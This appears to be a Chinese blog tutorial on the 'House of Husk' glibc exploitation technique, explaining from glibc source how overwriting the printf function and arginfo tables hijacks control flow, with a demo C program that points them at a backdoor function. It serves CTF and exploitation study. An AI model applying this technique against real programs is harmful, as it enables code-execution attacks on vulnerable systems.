house of husk

利用说明

适用版本: glibc2.23 -- now

利用场景: UAF/大堆块/存在格式化字符的使用

利用条件:

  • 能使 __printf_function_table 处非空

  • 可以往 __printf_arginfo_table 处可写入地址

效果与限制:

可以劫持程序执行流, 但是参数不可控.

利用方式:

  • 劫持 __printf_function_table 使其非空

  • 劫持 __printf_arginfo_table 使其表中存放的 spec 的位置是后门或者我们的构造的利用链

  • 执行到 printf 函数时就可以将执行流劫持程序流

spec 是格式化字符,比如最后调用的是 printf("%S\n",a), 那么应该将 __printf_arginfo_table['S'] 的位置写入我们想要执行的地址

原理分析

printf 函数通过检查 __printf_function_table[sepc] 是否为空,来判断是否有自定义的格式化字符,如果判定为有的话,则会去执行 __printf_arginfo_table[spec] 处的函数指针,在这期间并没有进行任何地址的合法性检查.

你可以把 __printf_arginfo_table[spec] 当作 %spechook, __printf_function_table[sepc] 则标志着是否存在 hook 函数. 如何存在, 则在执行诸如 printf("%spec") 等格式化函数时, 则会去调用 hook 函数

__register_printf_function

该函数的作用是允许用户自定义格式化字符并进行注册, 以打印用户自定义数据类型的数据. __register_printf_function 函数是对 __register_printf_specifier 进行的封装, 这里就只看 __register_printf_specifier 函数

/* Register FUNC to be called to format SPEC specifiers.  */
int __register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo)
{   // spec 的范围在 [0, 255] 之间
    // #define UCHAR_MAX    255
    if (spec < 0 || spec > (int) UCHAR_MAX)
    {
        __set_errno (EINVAL);
        return -1;
    }
​
    int result = 0;
    __libc_lock_lock (lock); // 上锁
    // __printf_function_table 表是否为空
    if (__printf_function_table == NULL)
    {
        // 为 __printf_arginfo_table/__printf_function_table 分配空间
        // 可以看到这里分配的空间是: 256*8 * 2 = 0x1000
        // 第一个 256*8 是 __printf_arginfo_table 表
        // 第二个 256*8 是 __printf_function_table 表
        // 所以这两个表是挨着的
        __printf_arginfo_table = (printf_arginfo_size_function **)calloc(UCHAR_MAX + 1, sizeof(void *) * 2);
        if (__printf_arginfo_table == NULL)
        {
            result = -1;
            goto out;
        }
        __printf_function_table = (printf_function **)(__printf_arginfo_table + UCHAR_MAX + 1);
    }
    // 为 spec 注册处理函数
    __printf_function_table[spec] = converter;
    __printf_arginfo_table[spec] = arginfo;
​
    out:
    __libc_lock_unlock (lock);
​
    return result;
}
libc_hidden_def (__register_printf_specifier)
weak_alias (__register_printf_specifier, register_printf_specifier)

整个逻辑还是比较清楚的, 来看看这两个表吧先.

// 就是两个函数指针表
typedef int printf_function (FILE *__stream,
                 const struct printf_info *__info,
                 const void *const *__args);
​
typedef int printf_arginfo_size_function (const struct printf_info *__info,
                      size_t __n, int *__argtypes,
                      int *__size);

vprintf

printf 函数调用了 vfprintf 函数,下面的代码是 vprintf 函数中的部分片段, 可以看出来如果 __printf_function_table 不为空, 那么就会调用 printf_positional 函数; 如果为空的话, 就会去执行默认格式化字符的代码部分.

int vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{
......
  /* Use the slow path in case any printf handler is registered.  */
    if (__glibc_unlikely (__printf_function_table != NULL
                          || __printf_modifier_table != NULL
                          || __printf_va_arg_table != NULL))
        goto do_positional;
 ......
  /* Hand off processing for positional parameters.  */
do_positional:
......
    done = printf_positional (s, format, readonly_format, ap, &ap_save,
                done, nspecs_done, lead_str_end, work_buffer,
                save_errno, grouping, thousands_sep, mode_flags);
......
  return done;
}

printf_positional 函数中会在调用 __parse_one_specmb 函数: 一般都是这个, 调试的时候走的就是他

      /* Parse the format specifier.  */
#ifdef COMPILE_WPRINTF
      nargs += __parse_one_specwc (f, nargs, &specs[nspecs], &max_ref_arg);
#else
      nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
#endif
......

这两个函数好像是一个玩意:)绷:

size_t
attribute_hidden
#ifdef COMPILE_WPRINTF
__parse_one_specwc (const UCHAR_T *format, size_t posn, struct printf_spec *spec, size_t *max_ref_arg)
#else
__parse_one_specmb (const UCHAR_T *format, size_t posn, struct printf_spec *spec, size_t *max_ref_arg)
#endif
{
......
  if (__builtin_expect (__printf_function_table == NULL, 1)
      || spec->info.spec > UCHAR_MAX
      || __printf_arginfo_table[spec->info.spec] == NULL
      || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) 
                    (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0)
    {
 ......

可以看到当 __printf_function_table 不为空时, 最后执行了 (*__printf_arginfo_table[spec->info.spec]) 指向的函数, 这里就是注册的函数指针. 所以如果我们能够篡改 __printf_arginfo_table 中存放的地址, 将其改为我们可控的内存地址, 这样就需要在 __printf_arginfo_table[spec] 写上我们想要执行的函数地址即可控制程序的执行流, 但是这里的参数适合不可控.(没有细研究, printf 的调用链挺复杂的)

__printf_arginfo_table[spec->info.spec] 是设置参数类型的函数

利用方式

__printf_arginfo_table__printf_function_table 是在 libc 上, 可读可写, 所以我们可以篡改其的值到堆上, 然后在堆上设置相关函数指针:

demo 如下:

#include 
#include 
void backdoor()
{
        puts("hacker");
}
​
int main()
{
        char* s = "hello world";
        long long* table = malloc(0x1000);
        long long* args_table = &table[0];
        long long* func_table = &table[256];
​
        long long libc = (long long)&puts - 0x84420;
        printf("libc base: %#p\n", libc);
        *(long long*)(libc + 0x1ed7b0) = (long long)args_table;
        *(long long*)(libc + 0x1f1318) = (long long)func_table;
​
        args_table['s'] = (long long)backdoor;
        func_table['s'] = (long long)backdoor;
        printf("content: %s\n", s);
        return 0;
}

效果如下:

libc base: 0x7fb7270d0000
content: hacker
hacker
hacker
​

你可能感兴趣的:(PWN—house系列,house系列)